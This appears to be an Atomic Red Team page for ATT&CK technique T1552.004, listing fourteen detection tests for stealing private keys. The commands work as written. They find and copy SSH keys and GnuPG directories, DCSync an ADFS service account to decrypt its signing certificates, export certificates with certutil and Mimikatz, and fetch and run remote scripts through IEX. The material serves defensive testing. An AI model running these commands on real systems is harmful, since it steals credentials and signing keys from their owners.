Try it using Invoke-Atomic

Unsecured Credentials: Private Keys

Description from ATT&CK

Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.

Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)

When a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device’s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)

On network devices, private keys may be exported via Network Device CLI commands such as

1
crypto pki export
.(Citation: cisco_deploy_rsa_keys)

Some private keys require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line. These private keys can be used to authenticate to Remote Services like SSH or for use in decrypting other collected files such as email.

Atomic Tests

Atomic Test #1 - Private Keys

Find private keys on the Windows file system. File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc

Supported Platforms: windows

auto_generated_guid: 520ce462-7ca7-441e-b5a5-f8347f632696

Inputs:

None

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

1
2
dir c:\ /b /s .key | findstr /e .key

Atomic Test #2 - Discover Private SSH Keys

Discover private SSH keys on a FreeBSD, macOS or Linux system.

Supported Platforms: freebsd,macos,linux

auto_generated_guid: 46959285-906d-40fa-9437-5a439accd878

Inputs:

Name Description Type Default Value
search_path Path where to start searching from. path /
output_file Output file containing locations of SSH key files path /tmp/keyfile_locations.txt

Attack Commands: Run with sh!

1
2
3
find #{search_path} -name id_rsa 2>/dev/null >> #{output_file}
exit 0

Cleanup Commands:

1
2
rm #{output_file}

Atomic Test #3 - Copy Private SSH Keys with CP

Copy private SSH keys on a Linux system to a staging folder using the

1
cp
command.

Supported Platforms: linux

auto_generated_guid: 7c247dc7-5128-4643-907b-73a76d9135c3

Inputs:

Name Description Type Default Value
search_path Path where to start searching from. path /
output_folder Output folder containing copies of SSH private key files path /tmp/art-staging

Attack Commands: Run with sh!

1
2
3
4
mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec cp --parents {} #{output_folder} \;
exit 0

Cleanup Commands:

1
2
rm -rf #{output_folder}

Atomic Test #4 - Copy Private SSH Keys with CP (freebsd)

Copy private SSH keys on a FreeBSD system to a staging folder using the

1
cp
command.

Supported Platforms: freebsd

auto_generated_guid: 12e4a260-a7fd-4ed8-bf18-1a28c1395775

Inputs:

Name Description Type Default Value
search_path Path where to start searching from. path /
output_folder Output folder containing copies of SSH private key files path /tmp/art-staging

Attack Commands: Run with sh!

1
2
3
mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec gcp --parents {} #{output_folder} \;

Cleanup Commands:

1
2
rm -rf #{output_folder}

Dependencies: Run with sh!

Description: Install GNU cp from coreutils package.

Check Prereq Commands:

1
2
if [ ! -x "$(command -v gcp)" ]; then exit 1; else exit 0; fi;

Get Prereq Commands:

1
2
(which pkg && pkg install -y coreutils)

Atomic Test #5 - Copy Private SSH Keys with rsync

Copy private SSH keys on a Linux or macOS system to a staging folder using the

1
rsync
command.

Supported Platforms: macos,linux

auto_generated_guid: 864bb0b2-6bb5-489a-b43b-a77b3a16d68a

Inputs:

Name Description Type Default Value
search_path Path where to start searching from. path /
output_folder Output folder containing copies of SSH private key files path /tmp/art-staging

Attack Commands: Run with sh!

1
2
3
4
mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \;
exit 0

Cleanup Commands:

1
2
rm -rf #{output_folder}

Atomic Test #6 - Copy Private SSH Keys with rsync (freebsd)

Copy private SSH keys on a FreeBSD system to a staging folder using the

1
rsync
command.

Supported Platforms: freebsd

auto_generated_guid: 922b1080-0b95-42b0-9585-b9a5ea0af044

Inputs:

Name Description Type Default Value
search_path Path where to start searching from. path /
output_folder Output folder containing copies of SSH private key files path /tmp/art-staging

Attack Commands: Run with sh!

1
2
3
mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \;

Cleanup Commands:

1
2
rm -rf #{output_folder}

Dependencies: Run with sh!

Description: Check if rsync is installed.

Check Prereq Commands:

1
2
if [ ! -x "$(command -v rsync)" ]; then exit 1; else exit 0; fi;

Get Prereq Commands:

1
2
(which pkg && pkg install -y rsync)

Atomic Test #7 - Copy the users GnuPG directory with rsync

Copy the users GnuPG (.gnupg) directory on a Mac or Linux system to a staging folder using the

1
rsync
command.

Supported Platforms: macos,linux

auto_generated_guid: 2a5a0601-f5fb-4e2e-aa09-73282ae6afca

Inputs:

Name Description Type Default Value
search_path Path where to start searching from path /
output_folder Output folder containing a copy of the .gnupg directory path /tmp/GnuPG

Attack Commands: Run with sh!

1
2
3
4
mkdir #{output_folder}
find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \;
exit 0

Cleanup Commands:

1
2
rm -rf #{output_folder}

Atomic Test #8 - Copy the users GnuPG directory with rsync (freebsd)

Copy the users GnuPG (.gnupg) directory on a FreeBSD system to a staging folder using the

1
rsync
command.

Supported Platforms: freebsd

auto_generated_guid: b05ac39b-515f-48e9-88e9-2f141b5bcad0

Inputs:

Name Description Type Default Value
search_path Path where to start searching from path /
output_folder Output folder containing a copy of the .gnupg directory path /tmp/GnuPG

Attack Commands: Run with sh!

1
2
3
mkdir #{output_folder}
find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \;

Cleanup Commands:

1
2
rm -rf #{output_folder}

Dependencies: Run with sh!

Description: Check if rsync is installed.

Check Prereq Commands:

1
2
if [ ! -x "$(command -v rsync)" ]; then exit 1; else exit 0; fi;

Get Prereq Commands:

1
2
(which pkg && pkg install -y rsync)

Atomic Test #9 - ADFS token signing and encryption certificates theft - Local

Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as Administrator on an ADFS server. Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.

Supported Platforms: windows

auto_generated_guid: 78e95057-d429-4e66-8f82-0f060c1ac96f

Inputs:

None

Attack Commands: Run with powershell!

1
2
3
4
5
Import-Module AADInternals -Force
Export-AADIntADFSCertificates
Get-ChildItem | Where-Object {$_ -like "ADFS*"}
Write-Host "`nCertificates retrieved successfully"

Cleanup Commands:

1
2
3
Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore

Dependencies: Run with powershell!

Description: AADInternals module must be installed.

Check Prereq Commands:

1
2
if (Get-Module AADInternals) {exit 0} else {exit 1}

Get Prereq Commands:

1
2
Install-Module -Name AADInternals -Force

Atomic Test #10 - ADFS token signing and encryption certificates theft - Remote

Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as a Domain Administrators user on a domain-joined computer. Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.

Supported Platforms: windows

auto_generated_guid: cab413d8-9e4a-4b8d-9b84-c985bd73a442

Inputs:

Name Description Type Default Value
adfs_service_account_name Name of the ADFS service account string adfs_svc
replication_user Username with replication rights. It can be the Domain Admin running the script string Administrator
replication_password Password of replication_username string ReallyStrongPassword
adfs_server_name Name of an ADFS server string sts.contoso.com

Attack Commands: Run with powershell!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Import-Module ActiveDirectory -Force 
Import-Module AADInternals -Force | Out-Null
#Get Configuration
$dcServerName = (Get-ADDomainController).HostName
$svc = Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object name -eq "#{adfs_service_account_name}"
$PWord = ConvertTo-SecureString -String "#{replication_password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{replication_user}, $PWord
# use DCSync to fetch the ADFS service account's NT hash
$hash = Get-AADIntADUserNTHash -ObjectGuid $svc.ObjectGuid -Credentials $Credential -Server $dcServerName -AsHex
$ADFSConfig = Export-AADIntADFSConfiguration -Hash $hash -SID $svc.Objectsid.Value -Server #{adfs_server_name}
# Get certificates decryption key
$Configuration = [xml]$ADFSConfig
$group = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.Group
$container = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ContainerName
$parent = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ParentContainerDn
$base = "LDAP://CN=$group,$container,$parent"
$ADSearch = [System.DirectoryServices.DirectorySearcher]::new([System.DirectoryServices.DirectoryEntry]::new($base))
$ADSearch.Filter = '(name=CryptoPolicy)'
$ADSearch.PropertiesToLoad.Clear()
$ADSearch.PropertiesToLoad.Add("displayName") | Out-Null
$aduser = $ADSearch.FindOne()
$keyObjectGuid = $ADUser.Properties["displayName"] 
$ADSearch.PropertiesToLoad.Clear()
$ADSearch.PropertiesToLoad.Add("thumbnailphoto") | Out-Null
$ADSearch.Filter="(l=$keyObjectGuid)"
$aduser=$ADSearch.FindOne() 
$key=[byte[]]$aduser.Properties["thumbnailphoto"][0] 
# Get encrypted certificates from configuration and decrypt them
Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $key
Get-ChildItem | Where-Object {$_ -like "ADFS*"}
Write-Host "`nCertificates retrieved successfully"

Cleanup Commands:

1
2
3
Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore

Dependencies: Run with powershell!

Description: AADInternals and ActiveDirectory modules must be installed.

Check Prereq Commands:

1
2
if ($(Get-Module AADInternals) -or $(Get-Module -ListAvailable -Name ActiveDirectory)) {echo 0} else {echo 1}

Get Prereq Commands:

1
2
Install-Module -Name AADInternals -Force

Atomic Test #11 - CertUtil ExportPFX

The following Atomic test simulates adding a generic non-malicious certificate to the Root certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog. In addition, this Atomic utilizes CertUtil to export the PFX (ExportPFX), similar to what was seen in the Golden SAML attack. Keys will look like - \SystemCertificates\CA\Certificates or \SystemCertificates\Root\Certificates Reference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec Reference: https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html

Supported Platforms: windows

auto_generated_guid: 336b25bf-4514-4684-8924-474974f28137

Inputs:

Name Description Type Default Value
output file path to export to path c:\temp\atomic.pfx
password password for cert string password

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

1
2
3
IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.004/src/RemoteCertTrust.ps1' -UseBasicParsing) 
certutil.exe -p #{password} -exportPFX Root 1F3D38F280635F275BE92B87CF83E40E40458400 #{output}

Cleanup Commands:

1
2
Get-ChildItem -Path Cert:\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280635F275BE92B87CF83E40E40458400' } | remove-item 

Atomic Test #12 - Export Root Certificate with Export-PFXCertificate

Creates a Root certificate and exports it with Export-PFXCertificate PowerShell Cmdlet. Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-PFXCertificate.

Supported Platforms: windows

auto_generated_guid: 7617f689-bbd8-44bc-adcd-6f8968897848

Inputs:

Name Description Type Default Value
pfx_path output path of the certificate string $env:Temp\atomicredteam.pfx

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

1
2
3
4
5
$mypwd = ConvertTo-SecureString -String "AtomicRedTeam" -Force -AsPlainText
$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My
Set-Location Cert:\LocalMachine\My
Get-ChildItem -Path $cert.Thumbprint | Export-PfxCertificate -FilePath #{pfx_path} -Password $mypwd

Cleanup Commands:

1
2
3
4
5
6
try {
$cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My
Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
} catch { }

Atomic Test #13 - Export Root Certificate with Export-Certificate

Creates a Root certificate and exports it with Export-Certificate PowerShell Cmdlet. Upon a successful attempt, this will write a pfx to disk and utilize the Cmdlet Export-Certificate.

Supported Platforms: windows

auto_generated_guid: 78b274f8-acb0-428b-b1f7-7b0d0e73330a

Inputs:

Name Description Type Default Value
pfx_path Path of the certificate path $env:Temp\AtomicRedTeam.cer

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

1
2
3
4
$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cert:\LocalMachine\My
Set-Location Cert:\LocalMachine\My
Export-Certificate -Type CERT -Cert  Cert:\LocalMachine\My\$($cert.Thumbprint) -FilePath #{pfx_path}

Cleanup Commands:

1
2
3
4
5
6
7
try {
   $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMachine\My -ErrorAction Ignore
   Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
   Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Remove-Item -ErrorAction Ignore
}
catch { }

Atomic Test #14 - Export Certificates with Mimikatz

The following Atomic test will utilize Mimikatz to extract the certificates from the local system My store. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands. A successful attempt will stdout the certificates and write multiple .pfx and .der files to disk.

Supported Platforms: windows

auto_generated_guid: 290df60e-4b5d-4a5e-b0c7-dc5348ea0c86

Inputs:

Name Description Type Default Value
mimikatz_exe Path of the Mimikatz binary string PathToAtomicsFolder..\ExternalPayloads\x64\mimikatz.exe

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

1
2
"#{mimikatz_exe}" "crypto::certificates /systemstore:local_machine /store:my /export"  exit

Dependencies: Run with powershell!

Description: Mimikatz must exist on disk at specified location (#{mimikatz_exe})

Check Prereq Commands:

1
2
if (Test-Path "#{mimikatz_exe}") {exit 0} else {exit 1}

Get Prereq Commands:

1
2
3
4
5
6
7
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) 
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$basePath = Split-Path "#{mimikatz_exe}" | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath

source